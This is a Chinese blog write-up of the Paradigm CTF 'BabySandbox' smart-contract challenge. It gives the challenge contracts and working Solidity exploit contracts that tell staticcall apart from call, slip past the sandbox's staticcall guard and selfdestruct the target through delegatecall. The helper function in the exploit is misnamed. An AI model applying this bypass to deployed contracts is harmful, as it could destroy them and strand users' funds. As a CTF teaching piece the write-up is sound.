区块链学习笔记之paradigm-CTF babysandbox

admin 2024年8月24日23:31:07评论14 views字数 3088阅读10分17秒阅读模式

这个是去安全客翻zbr文章的时候看见的题,因为刚玩,还是想着多搞点题找点感觉

合约代码

BabySandbox.sol

12345678910111213141516171819202122232425262728293031323334353637383940414243444546
pragma solidity 0.7.0;contract BabySandbox {    function run(address code) external payable {        assembly {            // if we're calling ourselves, perform the privileged delegatecall            if eq(caller(), address()) {                switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)                    case 0 {                        returndatacopy(0x00, 0x00, returndatasize())                        revert(0x00, returndatasize())                    }                       case 1 {                        returndatacopy(0x00, 0x00, returndatasize())                        return(0x00, returndatasize())                    }            }            // ensure enough gas            if lt(gas(), 0xf000) {                revert(0x00, 0x00)            }            // load calldata            calldatacopy(0x00, 0x00, calldatasize())            // run using staticcall            // if this fails, then the code is malicious because it tried to change state            if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {                revert(0x00, 0x00)            }            // if we got here, the code wasn't malicious            // run without staticcall since it's safe            switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)                case 0 {                    returndatacopy(0x00, 0x00, returndatasize())                    // revert(0x00, returndatasize())                }                case 1 {                    returndatacopy(0x00, 0x00, returndatasize())                    return(0x00, returndatasize())                }        }    }}

Setup.sol

12345678910111213141516171819
pragma solidity 0.7.0;import "./BabySandbox.sol";contract Setup {    BabySandbox public sandbox;    constructor() {        sandbox = new BabySandbox();    }    function isSolved() public view returns (bool) {        uint size;        assembly {            size := extcodesize(sload(sandbox.slot))        }        return size == 0;    }}

解题目标大概就是让sandbox这个合约的字节码size为0,就是让这个合约自毁叭。

那么看到这个BabySandbox里,应该是要用到里头的delegatecall,让它调用一下selfdestruct就可以了

但是首先,想要进这个delegatecall,需要满足条件eq(caller(), address()),

于是看到下面有一个

123
if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {revert(0x00, 0x00)}

他会合约自己进行一个staticcall【address() 就是 this.address】

类似于把你的calldata【此时你的calldata应该是 函数选择器为 run,参数为code 的 字节码】放进一个沙箱去执行,看你这个calldata有没有改变状态,有就revert了。要是没有,往下走,这儿就有一个

1
call(0x4000, address(), 0, 0, calldatasize(), 0, 0)

这个区别于staticcall他就是可以改变状态了。

区块链学习笔记之paradigm-CTF babysandbox

所以我们就是要把selfdestruct塞到这个里面去。

但是显然selfdestruct是会改变合约状态的,这样在前面就被revert了。怎么绕呢?

我们想让BabySandbox执行我们合约的时候,staticcall能过,call又能调用到selfdestruct,所以我们的合约是需要能够检查到是被staticcall调用了,还是被call调用了这样一个功能。

在这篇wp提到,

区块链学习笔记之paradigm-CTF babysandbox

既然不会整个revert,我们可以再部署一个被call时会改变状态(自毁啊,事件啥的)的合约,为了区别一下,这个合约就叫状态会改变合约,然后我们要传给BabySandbox的为瞒天过海合约

我们的瞒天过海合约被call时,就call一下状态会改变合约,看一下返回值,如果返回0,说明状态修改失败,此时是staticcall,我们瞒天过海合约啥也不做,此时对于调用瞒天过海合约的staticcall来说,我们的瞒天过海合约正常执行了,虽然没返回什么东西,但也没报错啊【老实人.jpg】,于是返回一个1,就过了iszero了。

然后BabySandbox就走到call了,当call我们的瞒天过海合约的时候,瞒天过海合约又call一下状态会改变合约,这个时候状态应该修改成功,我们的瞒天过海合约收到一个1,然后瞒天过海合约就给BabySandbox调用一个selfdestruct。

参考https://medium.com/furucombo/sharing-some-paradigm-ctf-solutions-befac01800e3

具体步骤就是先部署一个状态会改变合约(被call的时候会触发一个事件)

123456789
pragma solidity 0.7.0;contract Foo {    event StateChanged(bool);    fallback() external {        emit StateChanged(true);    }}

这个合约部署好了之后,拿到他的地址(我这里是0xcD6a42782d230D7c13A74ddec5dD140e55499Df9),硬编码到我们的瞒天过海合约里头

12345678910111213
pragma solidity 0.7.0;contract Suicide {    fallback() external {        if(_isStaticCall()) {            selfdestruct(address(0));        }    }    function _isStaticCall() internal returns (bool) {        (bool success, ) = address(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9).call("0x");        return success;    }}

然后把我们的瞒天过海合约部署的地址传给BabySandbox就好了。

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月24日23:31:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   区块链学习笔记之paradigm-CTF babysandboxhttps://cn-sec.com/archives/3093576.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息